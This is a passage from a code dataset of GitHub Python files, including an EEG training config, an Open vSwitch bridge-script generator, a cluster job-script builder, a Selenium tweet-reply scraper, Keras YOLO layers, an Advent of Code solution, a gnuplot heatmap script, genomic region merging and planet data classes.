True\n        assert merge_train_valid == True\n\n    optimizer = optim_class(\n        model.parameters(), lr=learning_rate, weight_decay=weight_decay)\n    if scheduler is not None:\n        assert scheduler =='cosine'\n        n_updates_per_epoch = sum(\n            [1 for _ in iterator.get_batches(train_set, shuffle=True)])\n        # Adapt if you have a different number of epochs\n        n_updates_per_period = n_updates_per_epoch * max_epochs\n        scheduler = CosineAnnealing(n_updates_per_period)\n        optimizer = ScheduledOptimizer(scheduler, optimizer,\n                                       schedule_weight_decay=schedule_weight_decay)\n    loss_function = nll_loss_on_mean\n\n    if model_constraint is not None:\n        assert model_constraint == 'defaultnorm'\n        model_constraint = MaxNormDefaultConstraint()\n    monitors = [LossMonitor(), MisclassMonitor(col_suffix='sample_misclass'),\n                CroppedDiagnosisMonitor(input_time_length, n_preds_per_input),\n                RuntimeMonitor(),]\n\n\n    stop_criterion = MaxEpochs(max_epochs)\n    loggers  = [Printer(), TensorboardWriter(log_dir)]\n    batch_modifier = None\n    exp = Experiment(model, train_set, valid_set, test_set, iterator,\n                     loss_function, optimizer, model_constraint,\n                     monitors, stop_criterion,\n                     remember_best_column='valid_misclass',\n                     run_after_early_stop=True, batch_modifier=batch_modifier,\n                     cuda=cuda,\n                     loggers=loggers)\n\n    if not only_return_exp:\n        # Until first stop\n        exp.setup_training()\n        exp.monitor_epoch(exp.datasets)\n        exp.log_epoch()\n        exp.rememberer.remember_epoch(exp.epochs_df, exp.model,\n                                      exp.optimizer)\n\n        exp.iterator.reset_rng()\n        while not exp.stop_criterion.should_stop(exp.epochs_df):\n            if (time.time() - start_time) > time_cut_off_sec:\n                log.info(\"Ran out of time after {:.2f} sec.\".format(\n                    time.time() - start_time))\n                return exp\n            log.info(\"Still in time after {:.2f} sec.\".format(\n                    time.time() - start_time))\n            exp.run_one_epoch(exp.datasets, remember_best=True)\n        if (time.time() - start_time) > time_cut_off_sec:\n            log.info(\"Ran out of time after {:.2f} sec.\".format(\n                time.time() - start_time))\n            return exp\n        if not merge_train_valid:\n            exp.setup_after_stop_training()\n            # Run until second stop\n            datasets = exp.datasets\n            datasets['train'] = concatenate_sets([datasets['train'],\n                                                 datasets['valid']])\n            exp.monitor_epoch(datasets)\n            exp.log_epoch()\n\n            exp.iterator.reset_rng()\n            while not exp.stop_criterion.should_stop(exp.epochs_df):\n                if (time.time() - start_time) > time_cut_off_sec:\n                    log.info(\"Ran out of time after {:.2f} sec.\".format(\n                        time.time() - start_time))\n                    return exp\n                log.info(\"Still in time after {:.2f} sec.\".format(\n                        time.time() - start_time))\n                exp.run_one_epoch(datasets, remember_best=False)\n\n    else:\n        exp.dataset = dataset\n        exp.splitter = splitter\n    if test_on_eval:\n        exp.test_dataset = test_dataset\n\n    return exp\n","repo_name":"robintibor/tuh-eeg-auto-diagnosis","sub_path":"configs/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":15088,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"33188874462","text":"import argparse\nimport re\n\n\nclass OVSInterfaceParser(object):\n    def __init__(self, outfilename='config-bridges.sh'):\n        self.bridge_ports = {}\n        #Matches <ofport number>(<port name>): addr:<mac address>\n        self.ifmatcher = re.compile(r\"^ ([0-9A-Z]{1,5})\\((.*)\\): addr:(.*)\")\n        self.cmd_script = outfilename\n    def open_script_file(self):\n        self.script_fd = open(self.cmd_script, \"w+\")\n    def close_script_file(self):\n        self.script_fd.close()\n    def parse_ports(self, bridge_filename, prefix=None):\n        fd = open(bridge_filename, 'r')\n        alldata = fd.readlines()\n        for line in alldata:\n            groups = self.ifmatcher.match(line)\n            if groups:\n                if not prefix or prefix and groups[2][0:len(prefix)] == prefix:\n                    self.bridge_ports[groups[2]] = {'mac': groups[3],\n                                                    'ofport': groups[1]}\n    def create_tap_ports(self):\n        for port in self.bridge_ports.keys():\n            if port[0:3] == 'tap':\n                cmd = \"ip tuntap add %s mode tap\\n\" % port\n                self.script_fd.write(cmd)\n                cmd = \"ip link set %s address %s\\n\" % (port, self.bridge_ports[port]['mac'])\n                self.script_fd.write(cmd)\n                cmd = \"ifconfig %s up\\n\" % port\n                self.script_fd.write(cmd)\n    def create_snat_ports(self):\n        for port in self.bridge_ports.keys():\n            if port[0:3] == 'of-':\n                cmd = \"ip tuntap add %s mode tap\\n\" % port\n                self.script_fd.write(cmd)\n                cmd = \"ip link set %s address %s\\n\" % (port, self.bridge_ports[port]['mac'])\n                self.script_fd.write(cmd)\n                cmd = \"ifconfig %s up\\n\" % port\n                self.script_fd.write(cmd)\n    def add_tap_ports(self):\n        for port in self.bridge_ports.keys():\n            if port[0:3] == 'tap':\n                cmd = (\"ovs-vsctl add-port br-int %s -- set Interface %s ofport=%s\\n\" %\n                       (port, port, self.bridge_ports[port]['ofport']))\n                self.script_fd.write(cmd)\n    def add_patch_ports(self):\n        for port in self.bridge_ports.keys():\n            if port[0:3] == 'qpf':\n                patch = port.replace('qpf', 'qpi')\n                cmd = ('ovs-vsctl add-port br-int %s -- set Interface %s type=patch ofport=%s mac_in_use=\\\\\"%s\\\\\" options:peer=%s\\n' %\n                        (port, port, self.bridge_ports[port]['ofport'], self.bridge_ports[port]['mac'], patch)) \n                self.script_fd.write(cmd)\n                cmd = ('ovs-vsctl add-port br-fabric %s -- set Interface %s type=patch ofport=%s mac_in_use=\\\\\"%s\\\\\" options:peer=%s\\n' %\n                        (patch, patch, self.bridge_ports[patch]['ofport'], self.bridge_ports[patch]['mac'], port))\n                self.script_fd.write(cmd)\n            if port == 'patch-fab-ex':\n                cmd = ('ovs-vsctl -- --may-exist add-port br-fabric patch-fab-ex -- set Interface patch-fab-ex type=patch ofport=%s mac_in_use=\\\\\"%s\\\\\" options:peer=patch-ex-fab\\n' %\n                (self.bridge_ports[port]['ofport'], self.bridge_ports[port]['mac']))\n                self.script_fd.write(cmd)\n\n    def add_snat_ports(self):\n        for port in self.bridge_ports.keys():\n            if port[0:3] == 'of-':\n                cmd = ('ovs-vsctl add-port br-fabric %s -- set Interface %s ofport=%s\\n' %\n                        (port, port, self.bridge_ports[port]['ofport'])) \n                self.script_fd.write(cmd)\n\n    def add_gen_ports(self):\n        for port in self.bridge_ports.keys():\n            if port[0:4] == 'gen2':\n                cmd = ('ovs-vsctl -- --may-exist add-port br-int gen2 -- set Interface gen2 type=geneve ofport=%s mac_in_use=\\\\\"%s\\\\\" options:remote_ip=flow options:key=2\\n' %\n                (self.bridge_ports[port]['ofport'], self.bridge_ports[port]['mac']))\n                self.script_fd.write(cmd)\n                cmd = 'ovs-vsctl set interface gen2 ingress_policing_rate=1000\\n'\n                self.script_fd.write(cmd)\n                cmd = 'ovs-vsctl set interface gen2 ingress_policing_burst=100\\n'\n                self.script_fd.write(cmd)\n            if port[0:4] == 'gen1':\n                cmd = ('ovs-vsctl -- --may-exist add-port br-fabric gen1 -- set interface gen1 type=geneve ofport=%s mac_in_use=\\\\\"%s\\\\\" options:remote_ip=flow options:key=1\\n' %\n                (self.bridge_ports[port]['ofport'], self.bridge_ports[port]['mac']))\n                self.script_fd.write(cmd)\n                cmd = ('ovs-vsctl set interface gen1 ingress_policing_rate=1000\\n')\n                self.script_fd.write(cmd)\n                cmd = ('ovs-vsctl set interface gen1 ingress_policing_burst=100\\n')\n                self.script_fd.write(cmd)\n\n    def add_vxlan_port(self):\n        for port in self.bridge_ports.keys():\n            if 'vxlan' in port:\n                cmd = ('ovs-vsctl -- --may-exist add-port br-fabric br-fab_vxlan0 -- set Interface br-fab_vxlan0 type=vxlan ofport=%s mac_in_use=\\\\\"%s\\\\\" options:remote_ip=flow options:key=flow options:dst_port=8472\\n' %\n                (self.bridge_ports[port]['ofport'], self.bridge_ports[port]['mac']))\n                self.script_fd.write(cmd)\n\n    def create_script_file(self):\n        self.open_script_file()\n        self.create_tap_ports()\n        self.create_snat_ports()\n        self.add_tap_ports()\n        self.add_patch_ports()\n        self.add_snat_ports()\n        self.add_gen_ports()\n        self.add_vxlan_port()\n        self.close_script_file()\n\n\nif __name__ == '__main__':\n    if_parser = OVSInterfaceParser()\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--bridgefile', dest='bridgefiles', action='append',\n                        help=\"File containing output from running 'ovs-ofctl show <bridge name>'\")\n    parser.add_argument('--outfile', dest='outfile', default='config-bridges.sh',\n                        help=\"File containing output from running 'ovs-ofctl show <bridge name>'\")\n\n    args = parser.parse_args()\n    for filename in args.bridgefiles:\n        if_parser.parse_ports(filename)\n    if_parser.create_script_file()\n","repo_name":"noironetworks/deployment-support","sub_path":"ovs/bridge_ifs.py","file_name":"bridge_ifs.py","file_ext":"py","file_size_in_byte":6176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40343279162","text":"# -*- coding: utf-8 -*-\n# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-\n# vi: set ft=python sts=4 ts=4 sw=4 et:\n\nimport os\nfrom math import ceil\nfrom pathlib import Path\nfrom typing import Any, Dict, List\n\nfrom .logging import logger\nfrom .utils.format import inflect_engine as p\nfrom .workflows.execgraph import filter_subjects\n\nshebang = \"\"\"#!/bin/bash\n\n\"\"\"\n\ncluster_configs = dict(\n    slurm=\"\"\"#SBATCH --job-name=halfpipe\n#SBATCH --output=halfpipe.log.txt\n\n#SBATCH --time=1-0\n#SBATCH --ntasks=1\n#SBATCH --cpus-per-task={n_cpus:d}\n#SBATCH --mem={mem_mb:d}M\n\n#SBATCH --array=1-{n_chunks:d}\n\"\"\",\n    torque=\"\"\"#PBS -N halfpipe\n#PBS -j oe\n#PBS -o halfpipe.log.txt\n\n#PBS -l nodes=1:ppn={n_cpus:d}\n#PBS -l walltime=24:00:00\n#PBS -l mem={mem_mb:d}mb\n\n#PBS -J 1-{n_chunks:d}\n\"\"\",\n    sge=\"\"\"#$ -N halfpipe\n#$ -j y\n#$ -o halfpipe.log.txt\n#$ -cwd\n\n#$ -pe smp {n_cpus:d}\n#$ -l h_rt=24:0:0\n#$ -l h_vmem={mem_mb:d}M\n\n#$ -t 1-{n_chunks:d}\n\"\"\",\n)\n\narray_index_variables = dict(\n    slurm=\"SLURM_ARRAY_TASK_ID\",\n    torque=\"PBS_ARRAY_INDEX\",\n    sge=\"SGE_TASK_ID\",\n)\n\nsingularity_command = \"\"\"\nif ! [ -x \"$(command -v singularity)\" ]; then\nmodule load singularity\nfi\n\nsingularity run \\\\\n--contain --cleanenv {bind_args} \\\\\n{singularity_container} \\\\\n--workdir {cwd} \\\\\n--only-run \\\\\n--uuid {uuid_str} \\\\\n--subject-list {subject_list} \\\\\n--subject-chunks \\\\\n--only-chunk-index ${{{array_index_variable}}} \\\\\n--nipype-n-procs 2 {extra_args}\n\"\"\"\n\n\ndef make_script(workdir: Path, graphs: Dict[str, Any], opts):\n    first_workflow = next(iter(graphs.values()))\n    uuid = first_workflow.uuid\n\n    subjects: List[str] = sorted(graphs.keys())\n    subjects = filter_subjects(subjects, opts)\n\n    n_chunks = len(subjects)\n    assert n_chunks > 0\n\n    n_cpus = 2\n    mem_gb: float = (\n        max(node.mem_gb for subject in subjects for node in graphs[subject].nodes) * 1.5\n        + 3.0\n    )  # three gigabytes for the python process plus the actual memory\n    mem_mb: int = int(ceil(mem_gb * 1024))\n\n    extra_args = \"\"\n\n    str_arg_names = [\n        \"keep\",\n        \"subject_exclude\",\n        \"subject_include\",\n        \"subject_list\",\n        \"fs_license_file\",\n    ]\n    for arg in str_arg_names:\n        v = getattr(opts, arg, None)\n        if v is not None:\n            k = arg.replace(\"_\", \"-\")\n            if isinstance(v, str):\n                extra_args += f\"\\\\\\n--{k} {v} \"\n            elif isinstance(v, list):\n                for d in v:\n                    assert isinstance(d, str)\n                    extra_args += f\"\\\\\\n--{k} '{d}' \"\n\n    bool_arg_names = [\n        \"nipype_resource_monitor\",\n        \"watchdog\",\n        \"verbose\",\n    ]\n    for arg in bool_arg_names:\n        v = getattr(opts, arg, None)\n        if v is True:\n            k = arg.replace(\"_\", \"-\")\n            extra_args += f\"\\\\\\n--{k} \"\n\n    data = dict(\n        n_chunks=n_chunks,  # one-based indexing\n        singularity_container=os.environ[\"SINGULARITY_CONTAINER\"],\n        cwd=str(Path(workdir).resolve()),\n        uuid_str=str(uuid)[:8],\n        n_cpus=n_cpus,\n        mem_gb=mem_gb,\n        mem_mb=mem_mb,\n        extra_args=extra_args,\n        bind_args=\"\",\n    )\n\n    if opts.fs_root is not None:\n        if opts.fs_root == \"/\":\n            pass  # TODO\n        else:\n            data[\"bind_args\"] = f\"\\\\\\n--bind /:{opts.fs_root}\"\n\n    subject_list = workdir / \"subject-list.txt\"\n    data[\"subject_list\"] = str(subject_list)\n    with open(subject_list, \"wt\") as file_handle:\n        for subject in subjects:\n            file_handle.write(subject)\n            file_handle.write(\"\\n\")\n\n    stpaths = []\n    for cluster_type, cluster_config in cluster_configs.items():\n        data[\"array_index_variable\"] = array_index_variables[cluster_type]\n\n        st: str = shebang + cluster_config.format(**data)\n        st += singularity_command.format(**data)\n\n        stpath = f\"submit.{cluster_type}.sh\"\n        stpaths.append(f'\"{stpath}\"')\n\n        with open(Path(workdir) / stpath, \"w\") as f:\n            f.write(st)\n\n    logger.log(\n        25, f\"Cluster submission script templates were created at {p.join(stpaths)}\"\n    )\n","repo_name":"HALFpipe/HALFpipe","sub_path":"src/halfpipe/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":4121,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"60"}
+{"seq_id":"4366068011","text":"import time\nimport csv\nimport sys\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.chrome.service import Service as ChromeService\nfrom selenium.common.exceptions import NoSuchElementException\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.action_chains import ActionChains\n\n\noptions = Options()\noptions.add_experimental_option(\"detach\", True)\n\ndriver = webdriver.Chrome(service=ChromeService(ChromeDriverManager().install()), options=options)\ndriver.get('https://twitter.com/lautidev_/status/1679273373426221057')\n\nauthToken = input(\"ingrese authToken\")\n\ndriver.add_cookie({'name': 'auth_token', 'value': authToken, 'domain': '.twitter.com'})\n# Actualiza la página para cargar la sesión con la cookie\ndriver.refresh()\ndriver.maximize_window()\ndriver.implicitly_wait(5)\n\ninput(\"sape\")\n\ndef addReplies():\n    reply_tweets = driver.find_elements(By.XPATH, '//article[@data-testid=\"tweet\"]')\n    for reply_tweet in reply_tweets:\n        username_link = reply_tweet.find_element(By.XPATH, './div/div/div[2]/div[2]/div[1]/div/div[1]/div/div/div[2]/div/div[1]/a')\n        username = username_link.get_attribute('href')\n        if username not in listarespuestas:\n            listarespuestas.append(username)\n\nlistarespuestas = []\naddReplies()\n\nlast_height = driver.execute_script(\"return document.body.scrollHeight\")\nwhile True:\n    driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n    time.sleep(4)\n    addReplies()\n    new_height = driver.execute_script(\"return document.body.scrollHeight\")\n    if new_height == last_height:\n            break\n    last_height = new_height\n\ntry:\n    show_more_button = driver.find_element(By.XPATH, '//span[contains(text(), \"Show more replies\")]/ancestor::*[position()=3]')\n    action = ActionChains(driver)\n    action.move_to_element(show_more_button).click().perform()\n    time.sleep(5)\n    addReplies()\nexcept NoSuchElementException:\n    print(\"no se encontro\")\n\n\n\nprint(len(listarespuestas))\nprint(listarespuestas)\n\n#","repo_name":"manolast/sorteoTwitter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36256068953","text":"import tensorflow.keras as keras\nimport tensorflow.keras as keras\nimport tensorflow.keras.layers as L\nimport tensorflow as tf\n\ndef mish(x):\n    return x * tf.math.tanh(tf.math.softplus(x))\n\ndef partial_sigmoid(x):\n    return tf.math.sigmoid(x) - (1 / 2)\n\nclass ConvBlock(keras.layers.Layer):\n    def __init__(self, filters_shape, downsample=False, activate=True, bn=True, activate_type='leaky', **kwargs):\n        super(ConvBlock, self).__init__(**kwargs)\n        self.downsample = downsample\n        if (downsample):\n            padd = 'valid'\n            strid = 2\n            self.input_layer = L.ZeroPadding2D(((1, 0), (1, 0)))\n        else:\n            padd = 'same'\n            strid = 1\n        self.conv = L.Conv2D(filters=filters_shape[-1], kernel_size=filters_shape[0], strides=strid, padding=padd, \n                        use_bias=not bn, kernel_regularizer=keras.regularizers.l2(0.0005),\n                        kernel_initializer=tf.random_normal_initializer(stddev=0.01),\n                        bias_initializer=tf.constant_initializer(0.))\n        self.bn = bn\n        self.batch_normalization = L.BatchNormalization()\n        self.activate = activate\n        if activate:\n            if activate_type == \"leaky\":\n                self.activation = L.LeakyReLU(alpha=0.1)\n            elif activate_type == \"mish\":\n                self.activation = L.Activation(mish)\n            elif activate_type == \"partial_sigmoid\":\n                self.activation = L.Activation(partial_sigmoid)\n            else:\n                self.activation = L.Activation(activate_type)\n    \n    def call(self, input_data):\n        out = input_data\n        if self.downsample:\n            out = self.input_layer(out)\n        out = self.conv(out)\n        if self.bn:\n            out = self.batch_normalization(out)\n        if self.activate:\n            out = self.activation(out)\n        return out\n\nclass ResBlock(keras.layers.Layer):\n    def __init__(self, input_channel, filter_num1, filter_num2, activate_type='leaky', **kwargs):\n        super(ResBlock, self).__init__(**kwargs)\n        self.conv1 = ConvBlock(filters_shape=(1, 1, input_channel, filter_num1), activate_type=activate_type)\n        self.conv2 = ConvBlock(filters_shape=(3, 3, filter_num1, filter_num2), activate_type=activate_type)\n    \n    def call(self, input_data):\n        res_out = self.conv1(input_data)\n        res_out = self.conv2(res_out)\n        res_out += input_data\n        return res_out","repo_name":"qfeuilla/CustomYOLOv4-TF","sub_path":"model/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13509152048","text":"from copy import deepcopy\r\n\r\ndef add_line_to_stacks(line, stacks):\r\n  for i in range(0, len(line), 4):\r\n    if line[i:i+3].strip():\r\n      stacks[i//4].append(line[i+1])\r\n\r\n# 'parse' library would be useful here, but I'm not using external libs\r\n# https://pypi.org/project/parse/\r\ndef parse_instruction(inst):\r\n  inst = inst.replace(\"move \", \"\")\r\n  inst = inst.replace(\" from \", \",\")\r\n  inst = inst.replace(\" to \", \",\")\r\n  return [int(num) for num in inst.split(\",\")]\r\n\r\ndef process_input():\r\n  with open(\"input/day05.txt\") as f:\r\n    input = f.read()\r\n  lines = input.splitlines()\r\n\r\n  num_stacks = (len(lines[0]) + 1) // 4\r\n  stacks = [[] for _ in range(num_stacks)]\r\n\r\n  line_counter = 0\r\n  while not lines[line_counter].startswith(\" 1 \"):\r\n    add_line_to_stacks(lines[line_counter], stacks)\r\n    line_counter += 1\r\n  \r\n  line_counter += 2\r\n  instructions = []\r\n  while line_counter < len(lines):\r\n    instructions.append(parse_instruction(lines[line_counter]))\r\n    line_counter += 1\r\n  \r\n  return stacks, instructions\r\n\r\nstacks, instructions = process_input()\r\n\r\nstacks_part_one = deepcopy(stacks)\r\nfor inst in instructions:\r\n  amount, from_stack, to_stack = inst[0], inst[1]-1, inst[2]-1\r\n\r\n  # Part 1\r\n  for _ in range(amount):\r\n    crate = stacks_part_one[from_stack].pop(0)\r\n    stacks_part_one[to_stack].insert(0, crate)\r\n\r\n  # Part 2\r\n  crates = stacks[from_stack][0:amount]\r\n  stacks[from_stack] = stacks[from_stack][amount:]\r\n  stacks[to_stack] = crates + stacks[to_stack]\r\n\r\nprint(\"Part 1:\", ''.join(stack[0] for stack in stacks_part_one if stack))\r\nprint(\"Part 2:\", ''.join(stack[0] for stack in stacks if stack))","repo_name":"joaomacp/aoc22","sub_path":"day05/day05.py","file_name":"day05.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42451523786","text":"import sys\nimport subprocess\n\ntsv_file=sys.argv[1]\nbasic_commands_fp = open (sys.argv[2])\nout_fp = open (sys.argv[3], \"w\")\ntsv_fp = open (tsv_file)\n\ncnt_fp = open (sys.argv[6])\ncnt_dict = {} \ntotal_clusters = 0\ncl_line_dict = {} \ncumsum_dict = {} \nfor line in cnt_fp:\n    total_clusters  +=1\n    cl_id_and_cnt = line.strip().split()\n    #cnt_dict[cl_id_and_cnt[0]] = '\"' + str (total_clusters) + ' (n = ' +  \"%4s\"%(cl_id_and_cnt[1]) + ')' + '\"' \n    cnt_dict[cl_id_and_cnt[0]] =  str (total_clusters) + ' (n = ' +  \"%4s\"%(cl_id_and_cnt[1]) + ')' \n    cl_line_dict[cl_id_and_cnt[0]] = cl_id_and_cnt[1]\n\nfor cl in range(2, total_clusters + 2):\n    csum = 0 \n    for c in range(1, cl):\n        csum += int(cl_line_dict[str(c)])\n    cumsum_dict[cl - 1] = csum\n\n#line_breaks_file=sys.argv[2]\nout = subprocess.Popen(['wc', '-l', tsv_file], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)  \nstdout, stderr = out.communicate()\nnum_lines = int (stdout.decode().split()[0]) - 1  \nline_headers = tsv_fp.readline().strip().split()[5:8]\nlen_line_headers = len(line_headers)\n\n# what we want is the string of this format: (\"x\" 0, \"y\" 1)\nline_headers_with_quotes = [ '\"' + i + '\"' for i in line_headers]\ngnuplot_xlab_string = [ j + \" \" + str(i) for i,j in zip (list(range(len_line_headers)), line_headers_with_quotes )]\ngnuplot_ylab_string = [ cnt_dict[str(i)] + \" \" + str (cumsum_dict[i]/2) for i in range (1, total_clusters + 1)]\n\nxtics_str = \"(\" + \",\".join(gnuplot_xlab_string) + \")\" + \" \" + \"rotate by -45\"\nytics_str = \"(\" + \",\".join(gnuplot_ylab_string) + \")\"\n\n       \n  \nfor line in basic_commands_fp: \n    out_fp.write(line)\n\n#out_fp.write(\"# ---------------- writing values in cell --------------#\\n\")\n#tsv_fp.seek(0)\n#h = tsv_fp.readline() # ignore the header\n#row_id = 1\n#label_id = 1 \n#for line in tsv_fp:\n#    col_id = 0\n#    lv = line.strip().split()\n#    for v in lv:\n#        rv = round (float(v), 2)\n#        out_fp.write(\"set label {l_id} at {x}, {y} '{text}' center front\\n\".format (\n#           l_id = label_id, x = col_id, y = row_id, text = rv)) \n#        col_id +=1 \n#        label_id +=1 \n#    row_id +=1 \n\nout_fp.write (\"set output '{f}'\\n\".format(f=sys.argv[4]))\nout_fp.write (\"set yrange [0.5:{y}]\\n\".format(y = num_lines + 0.5)) \n#out_fp.write(\"set ytics 1,1,{nlines}\\n\".format(nlines = num_lines))\n#out_fp.write(\"set ytics {labels}\\n\".format(labels = ytics_str))\nout_fp.write (\"set xtics {labels}\\n\".format (labels = xtics_str))\n\n\n# write line numbers\n\nfor i in range(1, total_clusters):\n    line_loc = 0 \n    for j in range(i):\n        line_loc += int(cl_line_dict[str(j + 1 )]) \n    \n    out_fp.write(\"set arrow {l_id} from -2.5, {line_loc} to {nclust}, {line_loc} nohead lc rgb '#000000' front\\n\".format(l_id = i, line_loc = line_loc, nclust=total_clusters - 0.5)) \nout_fp.write(\"set arrow {l_id} from -2.5, {line_loc} to {nclust}, {line_loc} nohead lc rgb '#000000' back\\n\".format(l_id = total_clusters, line_loc = num_lines, nclust = total_clusters - 0.5))\nfor cl in range(1, total_clusters + 1):\n    if cl == 1:\n        out_fp.write(\"set label {l_id} '{lab_str}'  at -1.5, {ypos} right front\\n\".format(l_id = cl, lab_str = cnt_dict[str(cl)],  ypos = cumsum_dict[cl]/2)) \n    else:\n        out_fp.write(\"set label {l_id} '{lab_str}'  at -1.5, {ypos} right front\\n\".format(l_id = cl, lab_str = cnt_dict[str(cl)],  ypos = (cumsum_dict[cl] + cumsum_dict[cl - 1])/2)) \n   \n\nout_fp.write (\"set title '{f}'\\n\".format(f=sys.argv[5]))\nout_fp.write (\"plot '<cut -f2-9 {f} | sort -k8,8n | cut -f5-7' matrix with image notitle\\n\".format(f=sys.argv[1]))\n\nbasic_commands_fp.close() \nout_fp.close()\n","repo_name":"satyanarayan-rao/protein_binding_at_enhancers","sub_path":"scripts/kmeans_complete_data_heatmap.py","file_name":"kmeans_complete_data_heatmap.py","file_ext":"py","file_size_in_byte":3604,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"24522281043","text":"\"\"\"\nGeneral utility functions.\n\"\"\"\n\nimport numpy as np\nimport os\nimport pandas as pd\n\n\ndef as_bool(val):\n    \"\"\"\n    Translate value as a boolean. If `val` is boolean, return `val`. If val is a string, `True` if lower-case string\n    is \"true\", \"1\", \"yes\", \"t\", or \"y\". `False` if lower-case string is \"false\", \"0\", \"no\", \"f\", or \"n\". All other\n    values throw a RuntimeError. If `val` is not bool or string, it is converted to a string and the rules above are\n    applied.\n\n    :param val: Value to interpret as a boolean.\n\n    :return: `True` or `False` (see above).\n    \"\"\"\n\n    if issubclass(val.__class__, bool):\n        return val\n\n    val = str(val).lower()\n\n    if val in {'true', '1', 'yes', 't', 'y'}:\n        return True\n\n    if val in {'false', '0', 'no', 'f', 'n'}:\n        return False\n\n    raise RuntimeError('Cannot interpret as boolean value: {}'.format(val))\n\n\ndef region_merge(file_list, pad=500):\n    \"\"\"\n    Merge regions from multiple BED files.\n\n    :param file_list: List of files to merge.\n    :param pad: Pad interval matches by this amount, but do not add it to the output intervals. Similar to bedtools\n        merge \"slop\" parameter.\n    \"\"\"\n\n    # Read regions\n    df = pd.concat(\n        [\n            pd.read_csv(\n                file_name,\n                sep='\\t',\n                usecols=('#CHROM', 'POS', 'END')\n            ) for file_name in file_list if os.stat(file_name).st_size > 0\n        ],\n        axis=0\n    ).sort_values(['#CHROM', 'POS', 'END'], ascending=[True, True, False]).reset_index(drop=True)\n\n    # Merge with intervals\n    df_list = list()\n\n    chrom = None\n    pos = None\n    end = None\n\n    for index, row in df.iterrows():\n\n        next_chrom = row['#CHROM']\n        next_pos = row['POS'] - 500\n        next_end = row['END'] + 500\n\n        if row['#CHROM'] != chrom:\n\n            # Write last record\n            if chrom is not None:\n                df_list.append(pd.Series([chrom, pos + pad, end - pad], index=['#CHROM', 'POS', 'END']))\n\n            chrom = next_chrom\n            pos = next_pos\n            end = next_end\n\n        else:\n\n            if next_pos <= end:\n                pos = np.min([pos, next_pos])\n                end = np.max([end, next_end])\n\n            else:\n                df_list.append(pd.Series([chrom, pos + pad, end - pad], index=['#CHROM', 'POS', 'END']))\n\n                pos = next_pos\n                end = next_end\n\n    # Write last record\n    if chrom is not None:\n        df_list.append(pd.Series([chrom, pos + pad, end - pad], index=['#CHROM', 'POS', 'END']))\n\n    # Return\n    if len(df_list) > 0:\n        return pd.concat(df_list, axis=1).T\n    else:\n        return pd.DataFrame([], columns=['#CHROM', 'POS', 'END'])\n","repo_name":"EichlerLab/pav","sub_path":"pavlib/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"60"}
+{"seq_id":"12099904088","text":"'''\nName: Rene Vaughan\nClass: Design Patterns for Web Programming\nAssignment: Dynamic Site\nDate: 2/26/2015\n'''\n'''\nThis is the main DataObject - It is setting up the attributes for: name of planet, distance from sun, number of moons,\nlength of year in Earth days, and fun facts. It's being called in Data class.\nIt's imported in page.py\n'''\nclass Planet(object):\n    def __init__(self):\n        self.name = '' #name of planet\n        self.dfs = '' #distance from sun\n        self.moon = 0 #number of moons\n        self.loy = '' #length of a year in Earth days\n        self.fun_fact = '' #fun fact\n\n'''\nThis is class is holding \"Planet\" data. It is storing the name, distance from the sun, number of moons, length of year\nand fun facts about the planet.\nIt's imported in main.py\n'''\nclass Data(object):\n    def __init__(self):\n        #data for planet Mercury\n        mercury = Planet() #calling instance of planet\n        mercury.name = \"Mercury\" #Planet Name\n        mercury.dfs = \"35,983,095 miles\" #Distance from the sun\n        mercury.moon = 0 #Number of moons\n        mercury.loy = \"88 days\" #Lenth of Year in Earth Days\n        #Some fun facts about the planet\n        mercury.fun_fact = \"Mercury is the closest planet to the sun. It orbits the sun so fast that the length of Mercury's day is equal to almost 59 Earth days!\"\n\n        #data for planet Venus\n        venus = Planet() #calling instance of planet\n        venus.name = \"Venus\" #Planet Name\n        venus.dfs = \"67,237,910 miles\" #Distance from the sun\n        venus.moon = 0 #Number of moons\n        venus.loy = \"225 days\" #Lenth of Year in Earth Days\n        #Some fun facts about the planet\n        venus.fun_fact = \"Venus is knowns as Earth's sister planet. It is similar in size, mass, density and composition. It can be observed once every century passing in front of the sun.\"\n\n        #data for planet Earth\n        earth = Planet() #calling instance of planet\n        earth.name = \"Earth\" #Planet Name\n        earth.dfs = \"92,955,820 miles\" #Distance from the sun\n        earth.moon = 1 #Number of moons\n        earth.loy = \"365 days\" #Lenth of Year in Earth Days\n        #Some fun facts about the planet\n        earth.fun_fact = \"Earth is the 3rd planet from the sun. It's the 5th largest planet in our solar system. It's also the only known planet to harbor life.\"\n\n        #data for planet Mars\n        mars = Planet() #calling instance of planet\n        mars.name = \"Mars\" #Planet Name\n        mars.dfs = \"141,633,260 miles\" #Distance from the sun\n        mars.moon = 2 #Number of moons\n        mars.loy = \"687 days\" #Lenth of Year in Earth Days\n        #Some fun facts about the planet\n        mars.fun_fact = \"Known as the Red Planet. Mars is thought to have once been like Earth. There are currently many studies being done to understand the history of Mars so we might have a better understanding of it's evolution. That understanding could lead to understanding the 